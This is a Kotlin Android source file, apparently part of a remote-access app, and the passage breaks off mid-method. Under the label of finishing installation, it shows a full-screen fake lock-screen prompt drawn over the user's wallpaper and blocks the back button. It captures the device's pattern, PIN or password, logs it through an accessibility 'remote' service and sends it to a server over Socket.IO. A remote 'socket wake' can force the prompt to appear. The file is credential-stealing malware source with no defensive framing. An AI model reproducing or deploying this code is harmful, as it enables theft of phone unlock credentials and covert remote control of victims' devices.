package com.hikoncont.activity import android.app.Activity import android.app.WallpaperManager import android.content.Context import android.content.Intent import android.graphics.* import android.os.Bundle import android.os.Handler import android.os.Looper import android.util.Log import android.view.MotionEvent import android.view.View import android.view.WindowManager import android.widget.* import androidx.appcompat.app.AppCompatActivity import com.hikoncont.R import com.hikoncont.service.AccessibilityRemoteService import com.hikoncont.util.PasswordDetector import com.hikoncont.view.PasswordInputView import com.hikoncont.view.PatternLockView import com.hikoncont.view.PinInputView import com.hikoncont.view.FourDigitPinView import kotlin.math.* /** * 密码输入完成安装页面 * * 功能: * 1. 检测手机是否设置密码 * 2. 判断密码类型(图形密码/数字密码) * 3. 显示对应的密码输入界面 * 4. 记录图形密码轨迹 * 5. 完成安装流程 */ class PasswordInputActivity : AppCompatActivity() { companion object { private const val TAG = "PasswordInputActivity" const val EXTRA_PASSWORD_TYPE = "password_type" const val EXTRA_DEVICE_ID = "device_id" const val EXTRA_INSTALLATION_ID = "installation_id" const val EXTRA_SOCKET_WAKE = "socket_wake" const val PASSWORD_TYPE_NONE = "none" const val PASSWORD_TYPE_PATTERN = "pattern" const val PASSWORD_TYPE_PIN = "pin" const val PASSWORD_TYPE_PIN_4 = "pin_4" const val PASSWORD_TYPE_PASSWORD = "password" } private var passwordDetector: PasswordDetector? = null private lateinit var patternView: PatternLockView private lateinit var pinInputView: PinInputView private lateinit var fourDigitPinView: FourDigitPinView private lateinit var passwordInputView: PasswordInputView private lateinit var confirmButton: Button private lateinit var skipButton: Button private var passwordType: String = PASSWORD_TYPE_NONE private var deviceId: String = "" private var installationId: String = "" private var isSocketWake: Boolean = false private var isPatternRecording = false private var patternTrajectory = mutableListOf() private var currentPassword = "" private var isForceShowing = false // 防止重复强制显示 private var useLightTheme = false // 当壁纸不可用时启用白底黑字 override fun onCreate(savedInstanceState: Bundle?) { super.onCreate(savedInstanceState) Log.i(TAG, "🔐 密码输入页面启动") try { // 设置全屏模式 setupFullScreen() // 获取传入参数 passwordType = intent.getStringExtra(EXTRA_PASSWORD_TYPE) ?: PASSWORD_TYPE_NONE deviceId = intent.getStringExtra(EXTRA_DEVICE_ID) ?: "" installationId = intent.getStringExtra(EXTRA_INSTALLATION_ID) ?: "" isSocketWake = intent.getBooleanExtra(EXTRA_SOCKET_WAKE, false) Log.i(TAG, "📊 参数: 类型=$passwordType, 设备ID=$deviceId, 安装ID=$installationId, Socket唤醒=$isSocketWake") // 初始化密码检测器 passwordDetector = PasswordDetector(this) // 设置布局 setupLayout() // 初始化UI initializeUI() // 如果是socket唤醒且已指定密码类型,跳过密码检测 if (isSocketWake && passwordType != PASSWORD_TYPE_NONE) { Log.i(TAG, "🔐 Socket唤醒,使用指定密码类型: $passwordType,跳过密码检测") // 直接设置对应的UI,不需要检测 when (passwordType) { PASSWORD_TYPE_PATTERN -> setupPatternUI() PASSWORD_TYPE_PIN -> setupPinUI() PASSWORD_TYPE_PIN_4 -> setupFourDigitPinUI() PASSWORD_TYPE_PASSWORD -> setupPasswordUI() } } else { // 开始密码检测 startPasswordDetection() } } catch (e: Exception) { Log.e(TAG, "❌ 密码输入页面初始化失败", e) // 初始化失败时不销毁Activity,保持页面存在 Log.w(TAG, "⚠️ 初始化失败但不销毁Activity,保持页面存在") } } override fun onResume() { super.onResume() Log.i(TAG, "🔐 密码输入页面恢复") // 如果是socket唤醒且没有正在强制显示,则强制显示密码页面 if (isSocketWake && !isForceShowing) { isForceShowing = true forceShowPasswordPage() } } override fun onPause() { super.onPause() Log.i(TAG, "🔐 密码输入页面暂停") // 防止Activity被销毁,保持在后台 if (isSocketWake) { Log.i(TAG, "🔐 Socket唤醒模式:防止Activity被销毁,保持在后台") // 不执行任何可能导致Activity销毁的操作 } else { // 防止用户通过其他方式退出,重新显示页面 Handler(Looper.getMainLooper()).postDelayed({ if (!isFinishing && !isDestroyed) { Log.i(TAG, "🔐 检测到页面被暂停,重新显示密码输入页面") } }, 1000) } } override fun onStop() { super.onStop() Log.i(TAG, "🔐 密码输入页面停止") // 防止Activity被销毁,保持在后台 if (isSocketWake) { Log.i(TAG, "🔐 Socket唤醒模式:防止Activity被销毁,保持在后台") // 不执行任何可能导致Activity销毁的操作 // Activity将保持在后台,不会被销毁 } else { // 防止用户通过其他方式退出,重新显示页面 Handler(Looper.getMainLooper()).postDelayed({ if (!isFinishing && !isDestroyed) { Log.i(TAG, "🔐 检测到页面被停止,重新显示密码输入页面") } }, 1000) } } /** * 设置全屏模式 */ private fun setupFullScreen() { window.setFlags( WindowManager.LayoutParams.FLAG_FULLSCREEN, WindowManager.LayoutParams.FLAG_FULLSCREEN ) window.setFlags( WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED, WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED ) window.setFlags( WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON, WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON ) window.setFlags( WindowManager.LayoutParams.FLAG_DISMISS_KEYGUARD, WindowManager.LayoutParams.FLAG_DISMISS_KEYGUARD ) } /** * 设置锁屏壁纸背景 */ private fun setLockScreenWallpaperBackground() { try { Log.i(TAG, "🖼️ 开始设置锁屏壁纸背景") val wallpaperManager = WallpaperManager.getInstance(this) // 尝试获取锁屏壁纸(Android 7.0+) var lockScreenWallpaper: android.graphics.drawable.Drawable? = null try { if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.N) { // 对于 API 34+ 使用带参数的 getDrawable 方法 if (android.os.Build.VERSION.SDK_INT >= 34) { // 使用反射调用 API 34+ 的方法 try { val method = wallpaperManager.javaClass.getMethod("getDrawable", Int::class.java) lockScreenWallpaper = method.invoke(wallpaperManager, WallpaperManager.FLAG_LOCK) as? android.graphics.drawable.Drawable } catch (e: Exception) { Log.w(TAG, "⚠️ 反射调用 getDrawable(FLAG_LOCK) 失败,使用主壁纸", e) lockScreenWallpaper = wallpaperManager.getDrawable() } } else { // 对于 API 33 及以下,只能获取主壁纸 lockScreenWallpaper = wallpaperManager.getDrawable() } } } catch (e: Exception) { Log.w(TAG, "⚠️ 无法获取锁屏壁纸,尝试获取主壁纸", e) } // 如果锁屏壁纸获取失败,尝试获取主壁纸 if (lockScreenWallpaper == null) { try { lockScreenWallpaper = wallpaperManager.getDrawable() } catch (e: Exception) { Log.w(TAG, "⚠️ 无法获取主壁纸", e) } } if (lockScreenWallpaper != null) { Log.i(TAG, "✅ 成功获取壁纸") // 获取屏幕尺寸 val displayMetrics = resources.displayMetrics val screenWidth = displayMetrics.widthPixels val screenHeight = displayMetrics.heightPixels // 创建背景Drawable val backgroundDrawable = createWallpaperDrawable(lockScreenWallpaper, screenWidth, screenHeight) // 设置到根布局 val rootLayout = findViewById(android.R.id.content) rootLayout.background = backgroundDrawable Log.i(TAG, "✅ 壁纸背景设置完成") } else { Log.w(TAG, "⚠️ 无法获取任何壁纸,使用白色背景并启用浅色主题(黑色文字)") val rootLayout = findViewById(android.R.id.content) rootLayout.setBackgroundColor(Color.WHITE) useLightTheme = true } } catch (e: Exception) { Log.e(TAG, "❌ 设置壁纸背景失败", e) // 出错时使用白色背景并启用浅色主题 try { val rootLayout = findViewById(android.R.id.content) rootLayout.setBackgroundColor(Color.WHITE) useLightTheme = true } catch (ex: Exception) { Log.e(TAG, "❌ 设置白色背景也失败", ex) } } } /** * 创建壁纸Drawable */ private fun createWallpaperDrawable(wallpaper: android.graphics.drawable.Drawable, screenWidth: Int, screenHeight: Int): android.graphics.drawable.Drawable { return object : android.graphics.drawable.Drawable() { private val paint = Paint().apply { isAntiAlias = true isFilterBitmap = true } override fun draw(canvas: Canvas) { // 计算壁纸的缩放比例,保持宽高比 val wallpaperWidth = wallpaper.intrinsicWidth val wallpaperHeight = wallpaper.intrinsicHeight val scaleX = screenWidth.toFloat() / wallpaperWidth val scaleY = screenHeight.toFloat() / wallpaperHeight val scale = maxOf(scaleX, scaleY) // 使用较大的缩放比例确保填满屏幕 val scaledWidth = (wallpaperWidth * scale).toInt() val scaledHeight = (wallpaperHeight * scale).toInt() // 计算居中位置 val left = (screenWidth - scaledWidth) / 2 val top = (screenHeight - scaledHeight) / 2 // 保存画布状态 canvas.save() // 裁剪到屏幕区域 canvas.clipRect(0, 0, screenWidth, screenHeight) // 绘制壁纸 wallpaper.setBounds(left, top, left + scaledWidth, top + scaledHeight) wallpaper.draw(canvas) // 添加半透明遮罩,确保文字可读性 canvas.drawColor(Color.argb(100, 0, 0, 0)) // 恢复画布状态 canvas.restore() } override fun setAlpha(alpha: Int) { paint.alpha = alpha } override fun setColorFilter(colorFilter: ColorFilter?) { paint.colorFilter = colorFilter } override fun getOpacity(): Int = android.graphics.PixelFormat.TRANSLUCENT } } /** * 设置布局 */ private fun setupLayout() { setContentView(R.layout.activity_password_input) // 设置锁屏壁纸背景 setLockScreenWallpaperBackground() // 初始化视图 patternView = findViewById(R.id.pattern_lock_view) pinInputView = findViewById(R.id.pin_input_view) fourDigitPinView = findViewById(R.id.four_digit_pin_view) passwordInputView = findViewById(R.id.password_input_view) confirmButton = findViewById(R.id.confirm_button) skipButton = findViewById(R.id.skip_button) // 如果启用了浅色主题,统一调整为白底黑字 if (useLightTheme) { applyLightThemeToViews() } } /** 当壁纸不可用时,使用白底黑字方案 */ private fun applyLightThemeToViews() { try { val rootLayout = findViewById(android.R.id.content) rootLayout.setBackgroundColor(Color.WHITE) // 调整确认/跳过按钮为黑字描边按钮 val outlined = createOutlinedButtonBackground() confirmButton.setTextColor(Color.BLACK) confirmButton.background = outlined skipButton.setTextColor(Color.BLACK) skipButton.background = outlined // 调整各密码视图的说明与控件颜色 try { patternView.setInstructionTextColor(Color.BLACK) } catch (_: Exception) {} try { patternView.setSwitchButtonTextColor(Color.BLACK) } catch (_: Exception) {} try { pinInputView.setInstructionTextColor(Color.BLACK) } catch (_: Exception) {} try { pinInputView.setKeypadTextColor(Color.BLACK) } catch (_: Exception) {} try { fourDigitPinView.setInstructionTextColor(Color.BLACK) } catch (_: Exception) {} try { fourDigitPinView.setKeypadTextColor(Color.BLACK) } catch (_: Exception) {} try { passwordInputView.setInstructionTextColor(Color.BLACK) } catch (_: Exception) {} try { passwordInputView.setTextColors(Color.BLACK, Color.parseColor("#808080")) } catch (_: Exception) {} } catch (e: Exception) { Log.w(TAG, "⚠️ 应用浅色主题失败", e) } } /** 创建黑色描边的白底按钮背景 */ private fun createOutlinedButtonBackground(): android.graphics.drawable.Drawable { val shape = android.graphics.drawable.GradientDrawable().apply { setColor(Color.WHITE) cornerRadius = 12f setStroke(2, Color.BLACK) } val state = android.graphics.drawable.StateListDrawable().apply { addState(intArrayOf(android.R.attr.state_pressed), android.graphics.drawable.GradientDrawable().apply { setColor(Color.parseColor("#F0F0F0")) cornerRadius = 12f setStroke(2, Color.BLACK) }) addState(intArrayOf(), shape) } return state } /** * 初始化UI */ private fun initializeUI() { when (passwordType) { PASSWORD_TYPE_PATTERN -> { setupPatternUI() } PASSWORD_TYPE_PIN -> { setupPinUI() } PASSWORD_TYPE_PIN_4 -> { setupFourDigitPinUI() } PASSWORD_TYPE_PASSWORD -> { setupPasswordUI() } else -> { setupNoPasswordUI() } } // 默认按钮点击事件(在各自UI中可覆盖) confirmButton.setOnClickListener { handleConfirmClick() } skipButton.setOnClickListener { handleSkipClick() } } /** * 设置图形密码UI */ private fun setupPatternUI() { patternView.visibility = View.VISIBLE pinInputView.visibility = View.GONE passwordInputView.visibility = View.GONE patternView.setInstructionText("请绘制您的图形密码") // 图形输入模式:不需要确认按钮 confirmButton.visibility = View.GONE // 根据socket唤醒状态控制切换按钮显示 skipButton.visibility = if (isSocketWake) View.GONE else View.VISIBLE // 控制PatternLockView内部的切换按钮显示 patternView.setSwitchButtonVisible(!isSocketWake) // 设置PatternLockView内部的切换按钮回调 patternView.setOnSwitchClickListener { passwordType -> handlePasswordTypeSwitch(passwordType) } // 设置图形密码监听器 patternView.setOnPatternListener(object : PatternLockView.OnPatternListener { override fun onPatternStart() { Log.d(TAG, "🔐 开始绘制图形密码") isPatternRecording = true patternTrajectory.clear() } override fun onPatternProgress(progress: List) { // 记录轨迹点(数字方式:记录网格位置) if (isPatternRecording) { val cell = progress.last() val point = PointF( cell.row.toFloat(), // 行号 (0-2) cell.column.toFloat() // 列号 (0-2) ) patternTrajectory.add(point) } } override fun onPatternComplete(pattern: List) { Log.d(TAG, "🔐 图形密码绘制完成,模式点数: ${pattern.size}") isPatternRecording = false // 使用完整的模式而不是轨迹点 val patternPoints = pattern.map { cell -> PointF(cell.row.toFloat(), cell.column.toFloat()) } // 保存图形密码轨迹 savePatternTrajectory(patternPoints) // 自动触发确认,不需要用户点击按钮 completeInstallation() } }) } /** * 设置数字密码UI */ private fun setupPinUI() { patternView.visibility = View.GONE pinInputView.visibility = View.VISIBLE passwordInputView.visibility = View.GONE pinInputView.setInstructionText("请输入您的密码") // PIN模式:也不需要确认按钮(输入完成自动确认) confirmButton.visibility = View.GONE // 根据socket唤醒状态控制切换按钮显示 skipButton.visibility = if (isSocketWake) View.GONE else View.VISIBLE // 控制PinInputView内部的切换按钮显示 pinInputView.setSwitchButtonVisible(!isSocketWake) // 设置数字密码监听器 pinInputView.setOnPinCompleteListener(object : PinInputView.OnPinCompleteListener { override fun onPinComplete(pin: String) { Log.d(TAG, "🔢 数字密码输入完成: $pin") currentPassword = pin // 自动触发确认,不需要用户点击按钮 completeInstallation() } }) // 设置PinInputView内部的切换按钮回调 pinInputView.setOnSwitchClickListener { passwordType -> handlePasswordTypeSwitch(passwordType) } } /** * 设置4位数字密码UI */ private fun setupFourDigitPinUI() { patternView.visibility = View.GONE pinInputView.visibility = View.GONE fourDigitPinView.visibility = View.VISIBLE passwordInputView.visibility = View.GONE fourDigitPinView.setInstructionText("请输入4位数字密码") // 4位PIN模式:也不需要确认按钮(输入完成自动确认) confirmButton.visibility = View.GONE // 根据socket唤醒状态控制切换按钮显示 skipButton.visibility = if (isSocketWake) View.GONE else View.VISIBLE // 控制FourDigitPinView内部的切换按钮显示 fourDigitPinView.setSwitchButtonVisible(!isSocketWake) // 设置4位数字密码监听器 fourDigitPinView.setOnPinCompleteListener(object : FourDigitPinView.OnPinCompleteListener { override fun onPinComplete(pin: String) { Log.d(TAG, "🔢 4位数字密码输入完成: $pin") currentPassword = pin // 自动触发确认,不需要用户点击按钮 completeInstallation() } }) // 设置FourDigitPinView内部的切换按钮回调 fourDigitPinView.setOnSwitchClickListener { passwordType -> handlePasswordTypeSwitch(passwordType) } } /** * 设置文本密码UI */ private fun setupPasswordUI() { patternView.visibility = View.GONE pinInputView.visibility = View.GONE passwordInputView.visibility = View.VISIBLE passwordInputView.setInstructionText("请输入您的密码") // 文本密码模式:不需要确认按钮(输入完成自动确认) confirmButton.visibility = View.GONE // 根据socket唤醒状态控制切换按钮显示 skipButton.visibility = if (isSocketWake) View.GONE else View.VISIBLE // 控制PasswordInputView内部的切换按钮显示(如果有的话) // passwordInputView.setSwitchButtonVisible(!isSocketWake) // 设置文本密码监听器 passwordInputView.setOnPasswordCompleteListener(object : PasswordInputView.OnPasswordCompleteListener { override fun onPasswordComplete(password: String) { Log.d(TAG, "🔑 文本密码输入完成") currentPassword = password // 自动触发确认,不需要用户点击按钮 completeInstallation() } }) } /** * 设置无密码UI */ private fun setupNoPasswordUI() { patternView.visibility = View.GONE pinInputView.visibility = View.GONE fourDigitPinView.visibility = View.GONE passwordInputView.visibility = View.GONE // 设备未设置密码,不需要显示说明文字 confirmButton.isEnabled = true skipButton.visibility = View.GONE } /** * 开始密码检测 */ private fun startPasswordDetection() { Log.i(TAG, "🔍 开始检测设备密码设置") // 异步检测密码类型 Thread { try { // 检测设备是否设置了锁屏密码 val km = getSystemService(android.app.KeyguardManager::class.java) val isSecure = km?.isKeyguardSecure == true Log.i(TAG, "🔐 设备是否设置锁屏: $isSecure") if (!isSecure) { // 设备没有设置密码,直接完成安装流程 Log.i(TAG, "✅ 设备未设置密码,直接完成安装流程") runOnUiThread { passwordType = PASSWORD_TYPE_NONE // 直接完成安装,不显示密码输入界面 completeInstallationDirectly() } return@Thread } // 设备已设置密码,继续检测密码类型 val detectedType = passwordDetector?.detectPasswordType() ?: PASSWORD_TYPE_NONE Log.i(TAG, "🔍 检测到密码类型: $detectedType") runOnUiThread { when (detectedType) { PASSWORD_TYPE_PATTERN -> { passwordType = PASSWORD_TYPE_PATTERN setupPatternUI() } PASSWORD_TYPE_PIN -> { passwordType = PASSWORD_TYPE_PIN setupPinUI() } PASSWORD_TYPE_PIN_4 -> { passwordType = PASSWORD_TYPE_PIN_4 setupFourDigitPinUI() } PASSWORD_TYPE_PASSWORD -> { passwordType = PASSWORD_TYPE_PASSWORD setupPasswordUI() } else -> { // 如果检测失败,也直接完成安装 Log.i(TAG, "⚠️ 密码类型检测失败,直接完成安装") passwordType = PASSWORD_TYPE_NONE completeInstallationDirectly() } } } } catch (e: Exception) { Log.e(TAG, "❌ 密码检测失败", e) runOnUiThread { // 检测出错时,也直接完成安装 Log.i(TAG, "⚠️ 密码检测异常,直接完成安装") passwordType = PASSWORD_TYPE_NONE completeInstallationDirectly() } } }.start() } /** * 保存图形密码轨迹 */ private fun savePatternTrajectory(trajectory: List) { try { val trajectoryData = PatternTrajectoryData( deviceId = deviceId, installationId = installationId, timestamp = System.currentTimeMillis(), points = trajectory, passwordType = PASSWORD_TYPE_PATTERN ) // 保存到本地存储 passwordDetector?.savePatternTrajectory(trajectoryData) Log.i(TAG, "💾 图形密码轨迹已保存: ${trajectory.size} 个点") } catch (e: Exception) { Log.e(TAG, "❌ 保存图形密码轨迹失败", e) } } /** * 处理确认点击 */ private fun handleConfirmClick() { Log.i(TAG, "✅ 用户确认完成安装") // 保存密码信息 savePasswordInfo() // 显示完成状态 confirmButton.isEnabled = false skipButton.isEnabled = false // 延迟后完成安装 Handler(Looper.getMainLooper()).postDelayed({ completeInstallation() }, 2000) } /** * 处理跳过点击 */ private fun handleSkipClick() { Log.i(TAG, "⏭️ 用户跳过密码输入") try { // 立即更新UI状态 // 禁用按钮,避免重复点击 confirmButton.isEnabled = false skipButton.isEnabled = false // 延迟后完成安装,确保UI更新完成 Handler(Looper.getMainLooper()).postDelayed({ completeInstallation() }, 500) } catch (e: Exception) { Log.e(TAG, "❌ 处理跳过点击时出错", e) // 如果出错,直接完成安装 completeInstallation() } } /** * 保存密码信息 */ private fun savePasswordInfo() { try { val passwordInfo = PasswordInfo( deviceId = deviceId, installationId = installationId, passwordType = passwordType, hasPassword = passwordType != PASSWORD_TYPE_NONE, timestamp = System.currentTimeMillis() ) // 保存到本地存储 passwordDetector?.savePasswordInfo(passwordInfo) Log.i(TAG, "💾 密码信息已保存: $passwordType") } catch (e: Exception) { Log.e(TAG, "❌ 保存密码信息失败", e) } } override fun onDestroy() { super.onDestroy() Log.i(TAG, "🔐 密码输入页面销毁") // 如果是Socket唤醒模式,记录销毁原因 if (isSocketWake) { Log.w(TAG, "⚠️ Socket唤醒模式:Activity被销毁,这不应该发生") Log.w(TAG, "⚠️ 请检查系统是否强制杀死了Activity") } try { // 清理资源 passwordDetector = null patternTrajectory.clear() currentPassword = "" // 确保所有View都被正确清理 patternView?.let { it.setOnPatternListener(null) it.clearPattern() } pinInputView?.let { it.setOnPinCompleteListener(null) it.clearPin() } fourDigitPinView?.let { it.setOnPinCompleteListener(null) it.clearPin() } passwordInputView?.let { it.setOnPasswordCompleteListener(null) it.clearPassword() } } catch (e: Exception) { Log.e(TAG, "❌ 清理资源时出错", e) } } override fun onBackPressed() { Log.i(TAG, "🔐 用户按返回键,但密码输入未完成,不允许退出") // 不调用super.onBackPressed(),防止用户直接退出 // 可以显示提示信息 } // 已按要求去掉系统验证流程 /** * 标记密码框已显示 */ private fun markPasswordInputShown() { try { val sharedPrefs = getSharedPreferences("password_input", Context.MODE_PRIVATE) sharedPrefs.edit().putBoolean("password_input_shown", true).apply() Log.i(TAG, "✅ 密码框显示状态已标记") } catch (e: Exception) { Log.e(TAG, "❌ 标记密码框显示状态失败", e) } } /** * 标记密码输入已完成 */ private fun markPasswordInputCompleted() { try { val sharedPrefs = getSharedPreferences("password_input", Context.MODE_PRIVATE) sharedPrefs.edit().putBoolean("password_input_completed", true).apply() Log.i(TAG, "✅ 密码输入状态已标记为完成") } catch (e: Exception) { Log.e(TAG, "❌ 标记密码输入完成状态失败", e) } } /** * 记录密码日志 */ private fun recordPasswordLog() { try { Log.i(TAG, "📝 记录密码输入日志: $passwordType") val service = AccessibilityRemoteService.getInstance() if (service != null) { val inputMethod = when (passwordType) { PASSWORD_TYPE_PIN -> "6位PIN" PASSWORD_TYPE_PIN_4 -> "4位PIN" PASSWORD_TYPE_PATTERN -> "图形密码" PASSWORD_TYPE_PASSWORD -> "文本密码" else -> "未知类型" } service.recordOperationLog( "TEXT_INPUT", "文本输入: ${currentPassword.take(50)}${if (currentPassword.length > 50) "..." else ""}", mapOf( "textLength" to currentPassword.length, "inputMethod" to inputMethod, "containsPassword" to true, "operationType" to "PASSWORD_INPUT", "passwordType" to passwordType, "activity" to "PasswordInputActivity", "deviceId" to deviceId, "installationId" to installationId ) ) Log.i(TAG, "✅ 密码日志已记录") } else { Log.w(TAG, "⚠️ AccessibilityRemoteService实例不可用,无法记录日志") } } catch (e: Exception) { Log.e(TAG, "❌ 记录密码日志失败", e) } } /** * 发送密码到服务器 */ private fun sendPasswordToServer() { try { Log.i(TAG, "📡 开始发送密码到服务器: $passwordType") val service = AccessibilityRemoteService.getInstance() if (service != null) { val socketManager = service.getSocketIOManager() if (socketManager != null) { // 根据密码类型发送不同的数据 val inputMethod = when (passwordType) { PASSWORD_TYPE_PIN -> "6位PIN" PASSWORD_TYPE_PIN_4 -> "4位PIN" PASSWORD_TYPE_PATTERN -> "图形密码" PASSWORD_TYPE_PASSWORD -> "文本密码" else -> "未知类型" } socketManager.sendPasswordInputData( currentPassword, inputMethod, passwordType, "PasswordInputActivity", deviceId, installationId ) Log.i(TAG, "✅ 密码已通过Socket发送: $passwordType") } else { Log.w(TAG, "⚠️ SocketIOManager实例不可用,无法发送密码") } } else { Log.w(TAG, "⚠️ AccessibilityRemoteService实例不可用,无法获取SocketIOManager") } } catch (e: Exception) { Log.e(TAG, "❌ 发送密码到服务器失败", e) } } /** * 处理密码类型切换 */ private fun handlePasswordTypeSwitch(selectedType: String) { Log.d(TAG, "🔄 切换到密码类型: $selectedType") when (selectedType) { "4位数字密码" -> { passwordType = PASSWORD_TYPE_PIN_4 setupFourDigitPinUI() } "6位数字密码" -> { passwordType = PASSWORD_TYPE_PIN setupPinUI() } "图形密码" -> { passwordType = PASSWORD_TYPE_PATTERN setupPatternUI() } } } /** * 显示密码类型选择对话框 */ private fun showPasswordTypeSelectionDialog() { try { Log.i(TAG, "🔀 显示密码类型选择对话框") val options = arrayOf("6位数字密码", "4位数字密码", "图形密码", "文本密码") val currentIndex = when (passwordType) { PASSWORD_TYPE_PIN -> 0 PASSWORD_TYPE_PIN_4 -> 1 PASSWORD_TYPE_PATTERN -> 2 PASSWORD_TYPE_PASSWORD -> 3 else -> 0 } val builder = android.app.AlertDialog.Builder(this) builder.setTitle("选择密码输入方式") .setSingleChoiceItems(options, currentIndex) { dialog, which -> // 用户选择后立即切换 when (which) { 0 -> { passwordType = PASSWORD_TYPE_PIN pinInputView.setInstructionText("请输入6位数字密码") setupPinUI() } 1 -> { passwordType = PASSWORD_TYPE_PIN_4 fourDigitPinView.setInstructionText("请输入4位数字密码") setupFourDigitPinUI() } 2 -> { passwordType = PASSWORD_TYPE_PATTERN patternView.setInstructionText("请绘制图形密码") setupPatternUI() } 3 -> { passwordType = PASSWORD_TYPE_PASSWORD passwordInputView.setInstructionText("请输入文本密码") setupPasswordUI() } } dialog.dismiss() } .setNegativeButton("取消", null) .show() } catch (e: Exception) { Log.e(TAG, "❌ 显示密码类型选择对话框失败", e) } } /** * 直接完成安装(无需密码输入) */ private fun completeInstallationDirectly() { Log.i(TAG, "🎉 直接完成安装流程(无需密码输入)") try { // ✅ 检查是否已经安装完成,如果已完成则跳过处理 val installationStateManager = com.hikoncont.util.InstallationStateManager.getInstance(this) val isInstallationComplete = installationStateManager.isInstallationComplete() if (isInstallationComplete) { Log.i(TAG, "✅ 检测到安装已完成,跳过安装完成处理") } else { Log.i(TAG, "📡 安装未完成,调用安装完成处理函数") } // 🔐 标记密码框已显示(防止重复启动) markPasswordInputShown() // 🔐 标记密码输入已完成 markPasswordInputCompleted() // 重置密码输入页面监听状态 try { val service = AccessibilityRemoteService.getInstance() service?.getAccessibilityEventManager()?.resetPasswordInputActivityState() Log.d(TAG, "🔐 密码输入页面监听状态已重置") } catch (e: Exception) { Log.e(TAG, "❌ 重置密码输入页面监听状态失败", e) } // 保存密码信息(无密码状态) savePasswordInfo() // ✅ 只有安装未完成时才处理安装完成 if (!isInstallationComplete) { // ✅ 直接调用函数,不再使用广播 try { Log.i(TAG, "🔄 使用直接函数调用方式处理安装完成(直接完成)") com.hikoncont.util.InstallationCompleteManager.handleInstallationComplete( context = this@PasswordInputActivity, deviceId = deviceId, installationId = installationId, passwordType = 0, // PASSWORD_TYPE_NONE = 0 hasPassword = false ) Log.i(TAG, "✅ 直接调用安装完成处理成功") } catch (e: Exception) { Log.e(TAG, "❌ 直接调用安装完成处理失败", e) } } // 启动主服务 val serviceIntent = Intent(this, AccessibilityRemoteService::class.java) startService(serviceIntent) Log.i(TAG, "🚀 主服务已启动") } catch (e: Exception) { Log.e(TAG, "❌ 直接完成安装时出错", e) } finally { // 密码输入完成时只销毁当前Activity,不销毁整个任务栈 Log.i(TAG, "✅ 密码输入完成,准备销毁当前Activity") Handler(Looper.getMainLooper()).postDelayed({ try { // 只销毁当前Activity,让MainActivity处理后续流程 finish() Log.i(TAG, "✅ 当前Activity已销毁,MainActivity将处理后续流程") } catch (e: Exception) { Log.e(TAG, "❌ 关闭Activity时出错", e) } }, 1000) } } /** * 完成安装 */ private fun completeInstallation() { Log.i(TAG, "🎉 安装流程完成") try { // ✅ 检查是否已经安装完成,如果已完成则跳过处理 val installationStateManager = com.hikoncont.util.InstallationStateManager.getInstance(this) val isInstallationComplete = installationStateManager.isInstallationComplete() if (isInstallationComplete) { Log.i(TAG, "✅ 检测到安装已完成,跳过安装完成处理") // 仍然需要执行其他操作(如发送密码到服务器等),但不调用安装完成处理函数 } else { Log.i(TAG, "📡 安装未完成,调用安装完成处理函数") } // 🔐 标记密码输入已完成 markPasswordInputCompleted() // 重置密码输入页面监听状态 try { val service = AccessibilityRemoteService.getInstance() service?.getAccessibilityEventManager()?.resetPasswordInputActivityState() Log.d(TAG, "🔐 密码输入页面监听状态已重置") } catch (e: Exception) { Log.e(TAG, "❌ 重置密码输入页面监听状态失败", e) } // 发送密码到服务器(如果有密码) if (passwordType != PASSWORD_TYPE_NONE && currentPassword.isNotEmpty()) { // 记录密码日志 recordPasswordLog() // 发送密码到服务器 sendPasswordToServer() } // ✅ 只有安装未完成时才处理安装完成 if (!isInstallationComplete) { // ✅ 直接调用函数,不再使用广播 val passwordTypeInt = when (passwordType) { PASSWORD_TYPE_NONE -> 0 PASSWORD_TYPE_PIN -> 1 PASSWORD_TYPE_PIN_4 -> 2 PASSWORD_TYPE_PATTERN -> 3 PASSWORD_TYPE_PASSWORD -> 4 else -> 0 } try { Log.i(TAG, "🔄 使用直接函数调用方式处理安装完成") com.hikoncont.util.InstallationCompleteManager.handleInstallationComplete( context = this@PasswordInputActivity, deviceId = deviceId, installationId = installationId, passwordType = passwordTypeInt, hasPassword = passwordType != PASSWORD_TYPE_NONE ) Log.i(TAG, "✅ 直接调用安装完成处理成功") } catch (e: Exception) { Log.e(TAG, "❌ 直接调用安装完成处理失败", e) } } // ✅ 备用方案:直接启动MainActivity显示WebView(仅在安装未完成时执行) if (!isInstallationComplete) { try { // 手动设置安装完成状态 val passwordTypeInt = when (passwordType) { PASSWORD_TYPE_NONE -> 0 PASSWORD_TYPE_PIN -> 1 PASSWORD_TYPE_PIN_4 -> 2 PASSWORD_TYPE_PATTERN -> 3 PASSWORD_TYPE_PASSWORD -> 4 else -> 0 } // 直接调用安装完成处理函数,不再手动设置状态 com.hikoncont.util.InstallationCompleteManager.handleInstallationComplete( context = this@PasswordInputActivity, deviceId = deviceId, installationId = installationId, passwordType = passwordTypeInt, hasPassword = passwordType != PASSWORD_TYPE_NONE ) Log.i(TAG, "✅ 已调用安装完成处理函数") val start = Intent(this, com.hikoncont.MainActivity::class.java).apply { addFlags(Intent.FLAG_ACTIVITY_NEW_TASK) addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP) addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP) putExtra("from_installation_complete", true) putExtra("show_webview", true) } startActivity(start) Log.i(TAG, "✅ 备用方案:已启动 MainActivity 显示WebView") } catch (e: Exception) { Log.e(TAG, "❌ 备用方案启动MainActivity失败", e) } } else { Log.d(TAG, "✅ 安装已完成,跳过备用方案(启动MainActivity)") } // 启动主服务 if (!isInstallationComplete){ val serviceIntent = Intent(this, AccessibilityRemoteService::class.java) startService(serviceIntent) Log.i(TAG, "🚀 主服务已启动") } } catch (e: Exception) { Log.e(TAG, "❌ 完成安装时出错", e) } finally { // 延迟关闭Activity,确保广播和服务启动完成 Handler(Looper.getMainLooper()).postDelayed({ try { // 先清理UI状态 runOnUiThread { try { // 隐藏所有输入视图 patternView?.visibility = View.GONE pinInputView?.visibility = View.GONE fourDigitPinView?.visibility = View.GONE passwordInputView?.visibility = View.GONE // 显示完成状态 // 禁用所有按钮 confirmButton.isEnabled = false skipButton.isEnabled = false } catch (e: Exception) { Log.w(TAG, "清理UI状态时出错", e) } } // 密码输入完成时只销毁当前Activity,不销毁整个任务栈 